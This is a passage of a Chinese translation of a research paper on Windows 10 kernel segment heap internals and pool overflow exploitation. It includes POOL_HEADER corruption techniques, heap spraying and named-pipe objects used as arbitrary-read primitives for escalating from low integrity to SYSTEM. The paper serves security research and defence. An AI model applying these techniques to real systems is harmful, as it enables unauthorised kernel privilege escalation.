在不知道块的地址和ExpPoolQuotaCookie的情况下，不可能提供一个有效的指针，也就无法实现任意指针解引用。但是，仍然可以通过重写一个正确的POOL_HEADER，且不在PoolType设置PoolQuota标志来实现完整数据攻击。更多关于Quota
Process Pointer Overwrite Attack（配额进程指针覆盖攻击）的信息，已经在Nuit du Hack XV会议上进行了讨论[1]。
**NonPagedPoolNx** 在Windows
8中，引入了一种新的池内存类型NonPagedPoolNx。它的工作原理与NonPagedPool完全相同，只是内存页不在是可执行的，从而缓解了所有利用这种内存来存储shellcode的攻击。
以前使用NonPagedPool完成的分配，现在改用NonPagedPoolNx来实现，但出于与第三方驱动兼容的目的，保留了NonPagedPool类型。即使在今天的Windows
10中，仍然有大量的第三方驱动在使用可执行的NonPagedPool。
随着时间的推移，各种缓解措施的引入使得利用堆溢出攻击POOL_HEADER不再有趣。现如今，写一个正确的POOL_HEADER并攻击下一个块的数据实现起来更加简单。然而，池中段堆（Segment
Heap）的引入改变了POOL_HEADER的使用方式，本文展示了如何在内核池中再次利用堆溢出实现攻击。
## 2 带有段堆（Segment Heap）的池分配器
### 2.1 段堆内部
自Windows 10
19H1开始，段堆被用于内核层，与用户层使用的段堆非常相似。本节旨在介绍段堆的主要功能并关注与用户层使用的不同之处。用户层段堆内部结构的详细说明在[7]中提供。
就像在用户层使用的一样，段堆旨在根据分配大小的不同提供不同的功能。为此，定义了4个所谓的后端。
Low Fragmentation Heap(abbr LFH):RtlHpLfhContextAllocate
Variable Size(abbr VS):RtlHpVsContextAllocateInternal
Segment Alloc(abbr Seg):RtlHpSegAlloc
Large Alloc: RtlHpLargeAlloc
请求分配的大小和选择的后端之间的映射如图2所示
图2. 分配大小和后端之间的映射
前三个后端，Seg，VS，LFH，分别与上下文相关联：_HEAP_SEG_CONTEXT， _HEAP_VS_CONTEXT
和_HEAP_LFH_CONTEXT。后端上下文存储在_SEGMENT_HEAP结构中。
1: kd > dt nt!_SEGMENT_HEAP
+0 x000 EnvHandle : RTL_HP_ENV_HANDLE
+0 x010 Signature : Uint4B
+0 x014 GlobalFlags : Uint4B
+0 x018 Interceptor : Uint4B
+0 x01c ProcessHeapListIndex : Uint2B
+0 x01e AllocatedFromMetadata : Pos 0, 1 Bit
+0 x020 CommitLimitData : _RTL_HEAP_MEMORY_LIMIT_DATA
+0 x020 ReservedMustBeZero1 : Uint8B
+0 x028 UserContext : Ptr64 Void
+0 x030 ReservedMustBeZero2 : Uint8B
+0 x038 Spare : Ptr64 Void
+0 x040 LargeMetadataLock : Uint8B
+0 x048 LargeAllocMetadata : _RTL_RB_TREE
+0 x058 LargeReservedPages : Uint8B
+0 x060 LargeCommittedPages : Uint8B
+0 x068 StackTraceInitVar : _RTL_RUN_ONCE
+0 x080 MemStats : _HEAP_RUNTIME_MEMORY_STATS
+0 x0d8 GlobalLockCount : Uint2B
+0 x0dc GlobalLockOwner : Uint4B
+0 x0e0 ContextExtendLock : Uint8B
+0 x0e8 AllocatedBase : Ptr64 UChar
+0 x0f0 UncommittedBase : Ptr64 UChar
+0 x0f8 ReservedLimit : Ptr64 UChar
+0 x100 SegContexts : [2] _HEAP_SEG_CONTEXT
+0 x280 VsContext : _HEAP_VS_CONTEXT
+0 x340 LfhContext : _HEAP_LFH_CONTEXT
存在5个_SEGMENT_HEAP结构，对应不同的_POOL_TYPE值。
NonPaged pools（bit 0 unset）
NonPagedNx pool（bit 0 unset and bit 9 set）
Paged pools （bit 0 set）
PagedSession pool （bit 5 and 1 set）
第五个段堆也被分配，但是作者没有找到它的用途。前三个与NonPaged、NonPagedNx、Paged相关的段堆被存储在HEAP_POOL_NODES中。与PagedPoolSession相关联的段堆被存储在当前线程中。图3总结了5个段堆
图3. 段后端内部结构
尽管用户层段堆仅使用一个段分配器上下文进行128KB到508KB之间的分配，但在内核层段堆使用两个段分配器上下文，第二个用于508KB到7GB之间的分配。
#### 段后端（Segment Backend）
段后端被用于分配大小在128KB到7GB之间的内存块。它也在后台使用，为VS和LFH后端分配内存。
段后端上下文存储在称作_HEAP_SEG_CONTEXT的结构体中。
1: kd > dt nt! _HEAP_SEG_CONTEXT
+0 x000 SegmentMask : Uint8B
+0 x008 UnitShift : UChar
+0 x009 PagesPerUnitShift : UChar
+0 x00a FirstDescriptorIndex : UChar
+0 x00b CachedCommitSoftShift : UChar
+0 x00c CachedCommitHighShift : UChar
+0 x00d Flags : <anonymous -tag >
+0 x010 MaxAllocationSize : Uint4B
+0 x014 OlpStatsOffset : Int2B
+0 x016 MemStatsOffset : Int2B
+0 x018 LfhContext : Ptr64 Void
+0 x020 VsContext : Ptr64 Void
+0 x028 EnvHandle : RTL_HP_ENV_HANDLE
+0 x038 Heap : Ptr64 Void
+0 x040 SegmentLock : Uint8B
+0 x048 SegmentListHead : _LIST_ENTRY
+0 x058 SegmentCount : Uint8B
+0 x060 FreePageRanges : _RTL_RB_TREE
+0 x070 FreeSegmentListLock : Uint8B
+0 x078 FreeSegmentList : [2] _SINGLE_LIST_ENTRY
图4. 段后端内部结构图
段后端通过称为段的可变大小块分配内存。每个段由多个可分配的页组成。
段存储在SegmentListHead的链表中。段以一个_HEAP_PAGE_SEGMENT开头，后面跟着256个_HEAP_PAGE_RANGE_DESCRIPTOR结构。
1: kd > dt nt! _HEAP_PAGE_SEGMENT
+0 x000 ListEntry : _LIST_ENTRY
+0 x010 Signature : Uint8B
+0 x018 SegmentCommitState : Ptr64 _HEAP_SEGMENT_MGR_COMMIT_STATE
+0 x020 UnusedWatermark : UChar
+0 x000 DescArray : [256] _HEAP_PAGE_RANGE_DESCRIPTOR
1: kd > dt nt! _HEAP_PAGE_RANGE_DESCRIPTOR
+0 x000 TreeNode : _RTL_BALANCED_NODE
+0 x000 TreeSignature : Uint4B
+0 x004 UnusedBytes : Uint4B
+0 x008 ExtraPresent : Pos 0, 1 Bit
+0 x008 Spare0 : Pos 1, 15 Bits
+0 x018 RangeFlags : UChar
+0 x019 CommittedPageCount : UChar
+0 x01a Spare : Uint2B
+0 x01c Key : _HEAP_DESCRIPTOR_KEY
+0 x01c Align : [3] UChar
+0 x01f UnitOffset : UChar
+0 x01f UnitSize : UChar
为了提供对空闲页面范围的快速查找，还在_HEAP_SEG_CONTEXT中维护了一个红黑树。
每个_HEAP_PAGE_SEGMENT 都有一个签名，计算方法如下
Signature = Segment ^ SegContext ^ RtlpHpHeapGlobals ^ 0xA2E64EADA2E64EAD ;
此签名用于从任何已分配的内存块中检索拥有的_HEAP_SEG_CONTEXT和相应的_SEGMENT_HEAP。
图4总结了段后端中使用的内部结构。
通过使用存储在_HEAP_SEG_CONTEXT中的SegmentMask掩码，可以快速从任意地址计算出原始段。SegmentMask的值为0xfffffffffff00000。
Segment = Addr & SegContext ->SegmentMask;
通过使用_HEAP_SEG_CONTEXT中的UnitShift，可以轻松从任意地址计算出相应的PageRange。UnitShift设置为12。
PageRange = Segment + sizeof( _HEAP_PAGE_RANGE_DESCRIPTOR ) * (Addr- Segment) >> SegContext ->UnitShift;
当Segment
Backend被另一个后端使用时，_HEAP_PAGE_RANGE_DESCRIPTOR的RangeFlags字段被用于存储请求分配的后端。
#### 可变大小后端（Variable Size Backend）
可变大小后端分配512B到128KB大小的块。它旨在提供对空闲块的轻松重用。
可变大小后端上下文存储在被称为_HEAP_VS_CONTEXT的结构体中。
0: kd > dt nt! _HEAP_VS_CONTEXT
+0 x000 Lock : Uint8B
+0 x008 LockType : _RTLP_HP_LOCK_TYPE
+0 x010 FreeChunkTree : _RTL_RB_TREE
+0 x020 SubsegmentList : _LIST_ENTRY
+0 x030 TotalCommittedUnits : Uint8B
+0 x038 FreeCommittedUnits : Uint8B
+0 x040 DelayFreeContext : _HEAP_VS_DELAY_FREE_CONTEXT
+0 x080 BackendCtx : Ptr64 Void
+0 x088 Callbacks : _HEAP_SUBALLOCATOR_CALLBACKS
+0 x0b0 Config : _RTL_HP_VS_CONFIG
+0 x0b4 Flags : Uint4B
可变大小后端的内部结构
图5. 可变大小后端内部结构
空闲块存储在称为FreeChunkTree的红黑树中。当请求分配时，红黑树用于查找任何大小相同的空闲块或大于请求大小的第一个空闲块。
空闲块以一个称作_HEAP_VS_CHUNK_FREE_HEADER的专用结构体为头部。
0: kd > dt nt! _HEAP_VS_CHUNK_FREE_HEADER
+0 x000 Header : _HEAP_VS_CHUNK_HEADER
+0 x000 OverlapsHeader : Uint8B
+0 x008 Node : _RTL_BALANCED_NODE
一旦找到一个空闲块，就会调用RtlpHpVsChunkSplit将其分割为大小合适的块。
已经被分配的块都会以一个名为_HEAP_VS_CHUNK_HEADER的结构体开头。
0: kd > dt nt! _HEAP_VS_CHUNK_HEADER
+0 x000 Sizes : _HEAP_VS_CHUNK_HEADER_SIZE
+0 x008 EncodedSegmentPageOffset : Pos 0, 8 Bits
+0 x008 UnusedBytes : Pos 8, 1 Bit
+0 x008 SkipDuringWalk : Pos 9, 1 Bit
+0 x008 Spare : Pos 10, 22 Bits
+0 x008 AllocatedChunkBits : Uint4B
0: kd > dt nt! _HEAP_VS_CHUNK_HEADER_SIZE
+0 x000 MemoryCost : Pos 0, 16 Bits
+0 x000 UnsafeSize : Pos 16, 16 Bits
+0 x004 UnsafePrevSize : Pos 0, 16 Bits
+0 x004 Allocated : Pos 16, 8 Bits
+0 x000 KeyUShort : Uint2B
+0 x000 KeyULong : Uint4B
+0 x000 HeaderBits : Uint8B
header结构体中的所有字段都与RtlHpHeapGlobals和块的地址进行异或。
Chunk ->Sizes = Chunk ->Sizes ^ Chunk ^ RtlpHpHeapGlobals ;
在内部，VS分配器使用段分配器。它通过_HEAP_VS_CONTXT中的_HEAP_SUBALLOCATOR_CALLBACKS字段在RtlpHpVsSubsegmentCreate中使用。子分配器回调函数都与VS上下文和RtlpHpHeapGlobals地址进行异或。
callbacks.Allocate = RtlpHpSegVsAllocate ;
callbacks.Free = RtlpHpSegLfhVsFree ;
callbacks.Commit = RtlpHpSegLfhVsCommit ;
callbacks.Decommit = RtlpHpSegLfhVsDecommit ;
callbacks.ExtendContext = NULL;
如果FreeChunkTree中没有足够大的块，则会在子段列表中分配并插入一个新的子段，其大小范围为64KiB到256KiB。它以_HEAP_VS_SUBSEGMENT结构体为首。所有剩余的块都用作空闲块被插入到FreeChunkTree中。
0: kd > dt nt! _HEAP_VS_SUBSEGMENT
+0 x000 ListEntry : _LIST_ENTRY
+0 x010 CommitBitmap : Uint8B
+0 x018 CommitLock : Uint8B
+0 x020 Size : Uint2B
+0 x022 Signature : Pos 0, 15 Bits
+0 x022 FullCommit : Pos 15, 1 Bit
图5总结了VS后端的内存架构。
当VS块被释放时，如果它小于1KB并且VS后端是正确配置的（Config.Flags的第四位配置为1），它将被临时存储在DelayFreeContext列表中。一旦DelayFreeContext填充了32个块，这些块将一次性全部被释放。DelayFreeContext从不用于直接分配。
当一个VS块真的被释放，如果它与其他两个空闲块相邻，那么这三个空闲块将利用函数RtlpHpVsChunkCoalesce合并在一起。然后合并后的大块将被插入到FreeChunkTree中。
#### 低碎片化堆后端（Low Fragmentation Heap Backend）
低碎片化的堆是一个专门用来分配1B到512B的小块的后端。
LFH后端上下文存储在称作_HEAP_LFH_CONTEXT的结构体中。
0: kd > dt nt! _HEAP_LFH_CONTEXT
+0 x000 BackendCtx : Ptr64 Void
+0 x008 Callbacks : _HEAP_SUBALLOCATOR_CALLBACKS
+0 x030 AffinityModArray : Ptr64 UChar
+0 x038 MaxAffinity : UChar
+0 x039 LockType : UChar
+0 x03a MemStatsOffset : Int2B
+0 x03c Config : _RTL_HP_LFH_CONFIG
+0 x040 BucketStats : _HEAP_LFH_SUBSEGMENT_STATS
+0 x048 SubsegmentCreationLock : Uint8B
+0 x080 Buckets : [129] Ptr64 _HEAP_LFH_BUCKET
LFH后端的主要特点是使用不同大小的bucket来避免碎片化
图6
每个bucket由段分配器分配的子段组成。段分配器通过使用_HEAP_LFH_CONTEXT结构体的_HEAP_SUBALLOCATOR_CALLBACKS字段来使用。子分配器回调函数与LFH上下文和RtlpHpHeapGlobals的地址进行异或。
callbacks.Allocate = RtlpHpSegLfhAllocate ;
callbacks.Free = RtlpHpSegLfhVsFree ;
callbacks.Commit = RtlpHpSegLfhVsCommit ;
callbacks.Decommit = RtlpHpSegLfhVsDecommit ;
callbacks.ExtendContext = RtlpHpSegLfhExtendContext ;
LFH子段以_HEAP_LFH_SUBSEGMENT结构体为首
0: kd > dt nt! _HEAP_LFH_SUBSEGMENT
+0 x000 ListEntry : _LIST_ENTRY
+0 x010 Owner : Ptr64 _HEAP_LFH_SUBSEGMENT_OWNER
+0 x010 DelayFree : _HEAP_LFH_SUBSEGMENT_DELAY_FREE
+0 x018 CommitLock : Uint8B
+0 x020 FreeCount : Uint2B
+0 x022 BlockCount : Uint2B
+0 x020 InterlockedShort : Int2B
+0 x020 InterlockedLong : Int4B
+0 x024 FreeHint : Uint2B
+0 x026 Location : UChar
+0 x027 WitheldBlockCount : UChar
+0 x028 BlockOffsets : _HEAP_LFH_SUBSEGMENT_ENCODED_OFFSETS
+0 x02c CommitUnitShift : UChar
+0 x02d CommitUnitCount : UChar
+0 x02e CommitStateOffset : Uint2B
+0 x030 BlockBitmap : [1] Uint8B
然后将每个子段分割成相应的bucket大小的不同的LFH块。
为了知道哪个bucket被使用，在每个子段的header中维护了一个bitmap。
图7. 低碎片化堆后端内部结构
当请求一个分配的时候，LFH分配器将首先在_HEAP_LFH_SUBSEGMENT结构中寻找Freelist子段，目的是为了找到子段中最后释放的块的偏移。接着将扫描BlockBitmap，在32个块里找一个空闲块。由于RtlpLowFragHeapRandomData表，导致这个扫描是随机的。
根据给定的bucket的竞争状况，可以启用一种机制使得每个CPU有一个专属子段用于实现简易分配，这种机制称为Affinity Slot（亲和槽）。
图7展示了LFH后端的主要架构。
#### 动态快表（Dynamic Lookaside）
大小为0x200到0xF80字节的释放块可以被临时存储在快表中以提供快速分配。当这些块处于快表中时，这些块不会走后端释放机制。
快表由_RTL_DYNAMIC_LOOKASIDE结构体来表示，并存储在_SEGMENT_HEAP结构体的UserContext域中。
0: kd > dt nt! _RTL_DYNAMIC_LOOKASIDE
+0 x000 EnabledBucketBitmap : Uint8B
+0 x008 BucketCount : Uint4B
+0 x00c ActiveBucketCount : Uint4B
+0 x040 Buckets : [64] _RTL_LOOKASIDE
每个释放的块都存储在与其大小相对应的_RTL_LOOKASIDE中，大小对应着LFH中Bucket一样的模式
0: kd > dt nt!_RTL_LOOKASIDE
+0 x000 ListHead : _SLIST_HEADER
+0 x010 Depth : Uint2B
+0 x012 MaximumDepth : Uint2B
+0 x014 TotalAllocates : Uint4B
+0 x018 AllocateMisses : Uint4B
+0 x01c TotalFrees : Uint4B
+0 x020 FreeMisses : Uint4B
+0 x024 LastTotalAllocates : Uint4B
+0 x028 LastAllocateMisses : Uint4B
+0 x02c LastTotalFrees : Uint4B
图8
在同一时间，仅可启用一个可用buckets子集。每次请求分配时，相应的快表指标都会更新。
每扫描三次Balance Set
Mangager，动态快表就会重新平衡。启动了自上次重新平衡以来使用最多的。每个快表的大小取决于它的用途，但最大不能超过MaximumDepth，最小不能小于4。当新分配的数量小于25时，深度将减小10。另外，当未命中率小于0.5时，深度将减小到1，否则将按照下列公式来增长。
### 2.2 POOL_HEADER
如1.1节所述，Windows 10
19H1之前的内核层堆分配器分配的所有块都以POOL_HEADER为头部。在当时，POOL_HEADER中所有的字段都被使用了。随着内核层堆分配器的更新，POOL
HEADER的大部分字段都变的无用了，但仍然有少量分配的内存以POOL_HEADER为首。
//POOL_HEADER定义
struct POOL_HEADER
{
char PreviousSize;
char PoolIndex;
char BlockSize;
char PoolType;
int PoolTag;
Ptr64 ProcessBilled ;
};
分配器设置的唯一字段如下
PoolHeader ->PoolTag = PoolTag;
PoolHeader ->BlockSize = BucketBlockSize >> 4;
PoolHeader ->PreviousSize = 0;
PoolHeader ->PoolType = changedPoolType & 0x6D | 2;
下面是总结的自windows 19H1以来POOL_HEADER结构体的每个字段用途
PreviousSize：未使用的，并保持为0
PoolIndex：未使用的
BlockSize：块的大小，仅用于最终将块存储在动态快表中
PoolType：用法没有改变，依旧是请求的池的类型
PoolTag：用法没有改变，依旧是池标签
ProcessBilled：用法没有改变，保持对请求分配内存的进程进行追踪，如果池类型为PoolQuota,那么ProcessBilled的计算方法如下
ProcessBilled = chunk_addr ^ ExpPoolQuotaCookie ^ KPROCESS
#### 缓存对齐
当调用ExAllocatPoolWithTag时，如果PoolType有CacheAligned位被设置，函数执行后返回的内存是与Cache对齐的。Cache线的大小取决于CPU，但通常来说都是0x40。
首先分配器会增加ExpCacheLineSize的大小
if ( PoolType & 4 )
{
request_alloc_size += ExpCacheLineSize ;
if ( request_alloc_size > 0xFE0 )
{
request_alloc_size -= ExpCacheLineSize ;
PoolType = PoolType & 0xFB;
}
}
如果新的分配大小不能容纳在单个页面中，那么CacheAligned位将会被忽略。
并且，分配的块必须遵守下面的三个条件：
* 最终分配的地址必须与ExpCacheLineSize对齐
* 在块的最开始处，必须有一个POOL_HEADER头
* 块在分配的地址减去POOL_HEADER的大小的地址处必须有一个POOL_HEADER。
因此，如果分配的地址没有正确的对齐，那么块可能会有两个headers。
图9. 缓存对齐的内存布局
像往常一样，第一个POOL_HEADER将在块的起始处，第二个将在ExpCacheLineSize-Sizeof(POOL_HEADER)上对齐，使最终的分配地址与ExpCacheLineSize对齐。CacheAligned将从第一个POOL_HEADER中移除，且第二个POOL_HEADER将使用以下值来填充：
* PreviousSize：用来保存两个headers之间的偏移
* PoolIndex：未使用
* BlockSize：在第一个POOL_HEADER中申请的bucket的大小。
* PoolType：和之前一样，但是CacheAligned位必须设置
* PoolTag：像往常一样，两个POOL_HEADER是相同的
* ProcessBilled：未使用
此外，如果对齐填充中有足够的空间，则我们命名为AlignedPoolHeader的指针可能会存储在第一个POOL_HEADER之后。它指向第二个POOL_HEADER，并与ExpPoolQuotaCookie异或。
图9总结了缓存对齐情况下两个POOL_HEADER的布局。
### 2.3 总结
自Windows
19H1和引入段堆以来，一些存储在每个块的POOL_HEADER中的信息不要需要了。但是，其他的一些，例如PoolType，PoolTag，或是使用CacheAligned和PoolQuota机制的能力依旧需要。
这就是为什么分配的小于0xFE0块至少都还有一个POOL_HEADER头。自Windwos
19H1以来，POOL_HEADER结构体的字段的用法在2.2节中介绍过了。图10表示了使用LFH后端分配的一个块，因此前面只有一个POOL_HEADER头。
图10. 返回的LHF块
正如2.1节中解释的那样，不同的后端，申请的内存块可能以不同的header开头。例如，一个使用VS后端分配的大小0x280的块，因此将以大小为0x10的_HEAP_VS_CHUNK_HEADER开头。图11代表了一个使用VS段分配的块，因此是以VS
HEADER和POOL_HEADER开头。
图11. 返回的VS块
最后，如果请求的分配要以Cache
Line对齐，那么块可能包含两个POOL_HEADER头。第二个POOL_HEADER的CacheAligned位将会被设置，并用于检索第一个块和实际分配的地址。图12代表了一个使用LFH申请并需要与Cacha
Size对齐的块，因此开头的是两个POOL_HEADER。
图12. 返回的以缓存大小对齐的LFH块
图13总结了分配时的决策树
图13. 段堆分配器的决策流
从漏洞利用的角度，可以得出两个结论。第一，POOL_HEADER的新用法使利用变得容易：由于大多数字段没有使用，因此覆盖的时候不用非常小心。第二，就是利用POOL_HEADER的新用法来寻找新的利用技术。
## 3 攻击POOL_HEADER
如果堆溢出漏洞允许很好的控制写入的数据和大小，那么最简单的解决方法可能是重写POOL_HEADER并且直接攻击下一个块的数据。唯一要做的事情就是控制PoolType中的PoolQuota位没有被设置，以避免在释放破坏的区块时对ProcessBilled字段进行完整性检查。
但是，本节将提供一些针对POOL_HEADER的攻击，且这些攻击仅仅只需堆溢出几个字节。
### 3.1 BlockSize作为目标
从堆溢出到更大的堆溢出
正如2.1节中解释的，在释放机制中，BlockSize字段被用于存储一些块到动态快表中。
攻击者可以通过堆溢出来改变BlockSize字段的值使其变的更大，大于0x200。如果破坏的块已经被释放，被控制的BlockSize将被用于存储一些错误大小的块在快表中。再次申请这个大小的块时可能会使用一个非常小的分配的内存来存储所需的数据，从而触发另一个堆溢出。
通过使用堆喷技术和一些指定的对象，攻击者可能将一个3个字节的堆溢出实现变成高达0xFD0字节字节的堆溢出，这取决于漏洞块的大小。同样，攻击者还可以选择用来溢出的对象，并且可能对溢出条件有更多的控制。
### 3.2 PoolType作为目标
大多数时候，存储在PoolType中的信息只是用来提供信息；它在分配的时候提供信息，并存储在PoolType中，但不会用于释放机制中。
例如，改变存储在PoolType中的内存类型实际上不会改变分配的内存的类型。不会因为仅仅只改变了PoolType中的一个bit位就会将NonPagedPoolNx类型改为NonPagedPool。
但是对于PoolQuota和CacheAligned位来说不是这样的。设置PoolQuota位将触发POOL_HEADER中ProcessBilled指针的使用，以便在释放时解除对配额的引用。如1.2节中所述，对ProcessBilled指针的攻击已经得到了缓解。
所以唯一剩下的位就是CacheAligned位。
**块排列混淆**
如2.2节中所示，如果一个请求分配的PoolType中的CacheAligned位被设置，那么块的布局是不同的。
当分配器正在释放这种块时，它将尝试寻找原始的块地址，用来在正确的地址释放块。它将在对齐的POOL_HEADER中使用PreviousSize字段。分配器使用一个简单的减法来计算原始块的地址。
if ( AlignedHeader ->PoolType & 4 )
{
OriginalHeader = (QWORD)AlignedHeader - AlignedHeader ->
PreviousSize * 0x10;
OriginalHeader ->PoolType |= 4;
}
在内核中引入段堆之前，在这个操作之后有几个检查。
1. 分配器检查原始块在PoolType中是否设置了MustSucceed位。
2. 使用ExpCacheLineSize重新计算两个头之间的偏移量，并且验证两个头之间的偏移量一样。
3. 分配器检查对齐的头的BlockSize是否等于原始头的BlockSize加对齐头的PreviousSize。
4. 分配器检查OriginalHeader中保存的指针加上POOL_HEADER的大小是否等于对齐头的地址与ExpPoolQuotaCookie异或的值。
自Windows 19H1开始，池分配器使用Segment
Heap，所有的检查都不存在了。异或的指针依然存在于原始头之后，但在释放机制中不在进行检查。作者认为有一些检查被错误的删除了。在未来的版本中可能会重新打开这些检查，但是在Windows
10 20H1的预览版中没有这样的补丁。
目前，由于缺乏检查，攻击者可以使用PoolType作为攻击向量。攻击者可以使用堆溢出来设置下一个块的PoolType字段的CacheAligned位，并完全控制PreviousSize字段。当块被释放时，释放机制使用受控的PreviousSize字段寻找原始块，并释放它。因为PreviousSize字段存储在一个字节中，所以攻击者可以在原始块地址之前释放任意对齐在0x10上的地址，最多可达0xFF*0x10=0xFF0。
这篇文章的最后一部分将使用本文介绍的技术演示一个通用漏洞利用。它提供了在池溢出或UAF的情况下需要控制的通用对象，以及使用受控数据重用已释放的分配的多个对象和技术。
## 4 通用的漏洞利用技术
### 4.1 所需条件
这一节的目的是为了介绍利用一个漏洞来实现Windows System权限提升的技术。假设攻击者在低完整性级别。
最终的目的是为了开发最通用的漏洞利用程序，可用于不同类型的内存，PagedPool和NonPagedPoolNx，具有不同大小的块和能够提供以下所需条件的任意堆溢出漏洞。
当目标为BlockSize时，漏洞需要提供用一个可控的值重写下一个块的POOL_HEADER的第三个字节的能力。
当目标为PoolType时，漏洞需要提供用一个可控的值重写下一个块的POOL_HEADER的第一个和第四个字节的能力。
在所有的情况下，都需要控制漏洞对象的分配和释放，以最大限度的提升堆喷射的成功率。
### 4.2利用策略
所选择的利用策略使用攻击下一个块的POOL_HEADER的PoolType和PreviousSize字段的能力。易受堆溢出漏洞影响的块被称为“漏洞块”，放置在其后的块被称为“被覆盖的块“；
正如在3.2节中描述的，通过控制下一个块的POOL_HEADER的PoolType字段和PreviousSize字段，攻击者可以更改被覆盖的块实际释放的位置。可以通过多种方式利用这种原语。
当攻击者将PreviousSize字段设置为漏洞块的大小时，这将允许在UAF的情况下实现池溢出。因此，在请求释放被覆盖的块时，漏洞块将被取代，并处于UAF的状态，图14展示了这个技术。
图14. Exploitation using vulnerable chunk Use-After-Free
然而，我们选择了另一种技术。该原语可以被用来在漏洞块的中间触发被覆盖的块的释放。可以在漏洞块中伪造一个假的POOL_HEADER（或者是替换它的块），并且使用PoolType攻击重定向该块上的空闲区。这将允许在合法的块中间创建一个虚假的块，并且处于相当好的溢出情况。这个块相应的被称为“幽灵块”。
幽灵块至少覆盖两个块，漏洞块和被覆盖区块，图15展示了这种技术
图15. 选择的利用技术
最后一项利用技术看起来比UAF更好利用，因为它使得攻击者处于更好的状态来控制任意对象的内容。
然后，可以使用允许任何数据控制的对象来重新分配漏洞块。这允许攻击者能够控制部分“幽灵块”中分配的对象。
为了放置“幽灵块”，必须找到一个有趣的对象。为了使漏洞利用程序更加通用，对象应该满足下列要求：
1. 如果可以完全控制或部分控制的情况下，能提供任意读写原语。
2. 有能力控制它的分配和释放
3. 具有最小0x210的可变大小，以便从相应的快表中分配到“幽灵块”中，但要尽可能小（避免在分配时浪费太多堆空间）
由于漏洞块可以放置在PagedPool和NonPagedPoolNx中，因此需要两个此类对象，一个PagedPool中分配，另一个在NonPagedPoolNx中分配。
这种对象不是常见的，所以作者没有发现完美的此类对象。这就是为什么使用仅能提供任意读原语的对象作为开发EXP策略的原语。攻击者依然可以控制幽灵块的POOL_HEADER。这意味着Quota
Pointer Process
Overwrite攻击可以被用于获取任意递减原语。ExpPoolQuotaCookie和幽灵块的地址可以使用任意地址读原语恢复。
开发的利用程序使用的是最后的这个技术。通过利用堆处理和有趣的对象的溢出，实现4个字节溢出转为从低完整性到System完整性的权限提升。
### 4.3 目标对象
分页池创建管道后，用户可以向管道添加属性。属性是存储在链表中的键值对。管道属性对象在分页池中分配，使用下面的内核中的结构体来定义。
//PipeAttribute是未公开的结构体
struct PipeAttribute {
LIST_ENTRY list;
char * AttributeName;
uint64_t AttributeValueSize ;
char * AttributeValue ;
char data [0];
};
分配的大小和填充的数据完全由攻击者控制。属性名和属性值是指向数据区不同偏移的两个指针。
可以使用NtFsControlFile系统调用和0x11003C控制码在管道上创建管道属性，见下图所示的代码
HANDLE read_pipe;
HANDLE write_pipe;
char attribute [] = "attribute_name \00 attribute_value"
char output [0 x100 ];
CreatePipe(read_pipe , write_pipe , NULL , bufsize);
NtFsControlFile (write_pipe ,
NULL ,
NULL ,
NULL ,
&status ,
0x11003C ,
attribute ,
sizeof(attribute),
output ,
sizeof(output)
);
可以使用0x110038控制码来读取属性值。属性值指针和属性值大小将被用于读取属性值并返回给用户。属性值可以被修改，但这会触发先前的PipeAttribute的释放和新的PipeAttribute的分配。
这意味着如果攻击者可以控制PipeAttribute结构体的AttributeValue和AttributeValueSize字段，它就可以在内核中任意读取数据，但不能任意写。这个对象也非常适合在内核中放置任意数据。这意味着它可以用来申请一个漏洞块并控制幽灵块的内容。
**NonPagedPoolNx**
在管道中使用WriteFile是一种众所周知的NonPagedPoolNx喷射技术。当往管道中写入时，NpAddDataQueueEntry函数会创建下图所示的结构体
struct PipeQueueEntry
{
LIST_ENTRY list;
IRP *linkedIRP;
__int64 SecurityClientContext ;
int isDataInKernel ;
int remaining_bytes__ ;
int DataSize;
int field_2C;
char data [1];
};
PipeQueueEntry的大小和数据是由用户控制的，因为数据直接存储在结构体后面。
当使用函数NpReadDataQueue中的条目时，内核将会遍历条目列表，并使用条目来检索数据。
if ( PipeQueueEntry -> isDataAllocated == 1 )
data_ptr = (PipeQueueEntry ->linkedIRP ->SystemBuffer);
else
data_ptr = PipeQueueEntry ->data;
[...]
memmove (( void *)(dst_buf + dst_len - cur_read_offset ), &data_ptr[
PipeQueueEntry ->DataSize - cur_entry_offset ], copy_size);
如果isDataAllocated字段等于1，则数据没有直接存储在结构体后面，但是其指针存储在IRP中，由linkedIRP指向。如果攻击者能够完全控制这个结构体，他可以设置isDataInKernel为1，并且使指针linkIRP在用户层。然后使用用户层的LinkedIRP字段的SystemBuffer字段（偏移0x18）读取条目中的数据。这就提供了一个任意读原语。这个对象也非常适合在内核中存储任意数据。它可以被用于申请一个易受攻击的块且控制幽灵块的内容。
### 4.4 喷射
本节描述了喷射内核堆以获取所需的内存布局的技术。
为了获取4.2节中介绍的内存布局，必须要进行一些堆喷射。堆喷取决于漏洞块的大小，因为它最终会在不同的分配后端中。
为了便于喷射可以确保相应的快表是空的。分配超过256个大小合适的块可以确保这一点。
如果漏洞块小于0x200，那么它将位于LFH后端。然后，喷射将会在完全相同的块中完成，对相应的bucket粒度求模？以确保他们都从同一个bucket中分配。正如2.1节的介绍，当请求分配时，LFH后端将扫描最多以32个block块为一组的BlockBitmap，并随机选择一个空闲块。在分配的漏洞块的前后各分配超过32个合适大小的块应该可以对抗随机化。
如果漏洞块大于0x200但小于0x10000，最终它将在可变大小后端中。然后喷射将以漏洞块的大小完成。过大的块会被分开，因此堆喷将会失败。首先，分配上千个选中大小的块，以确保清空所有FreeChunkTree中大于选中大小的块，然后分配器将分配一个0x10000字节大小的新的VS子段并放在FreeChunkTree中。然后再分配上千个块，最终都位于一个新的大空闲块，因此是连续的。然后释放最后分配的块的三分之一，以填充FreeChunkTree。仅仅释放三分之一以确保没有块被合并。然后使得漏洞块被分配。最终，释放的块将被重新分配以最大限度的增加喷射机会。
由于所有的利用技术都需要释放和重新分配漏洞块和幽灵块，因此启动相应的动态快表以简化空闲块的恢复真的非常有趣。为此，一个简单的方案是分配上千个相应大小的块，等两秒，分配另外上千个块并等一秒。因此，我们可以确保平衡管理器重新平衡了相应的快表。分配上千个块以确保快表在最常使用的快表中，因此将被打开并且确保有足够的空间。
### 4.5 利用
**演示设置** 为了演示下面的利用，创建了一个虚假的漏洞。
开发了一个windows驱动，暴露了许多IOCTL，他们可以：
* 在PagedPool中分配一个大小可控的块
* 在块中触发一个受控的memcpy，实现一个受控的池溢出
* 释放分配的块
当然，这仅仅是为了做一个演示，并且提供了更多漏洞利用所需的控制。
这些设置允许攻击者可以：
* 控制漏洞块的大小，这不是强制的，但是最好可以实现，因为可控的大小会简化漏洞利用。
* 控制漏洞块的分配和释放
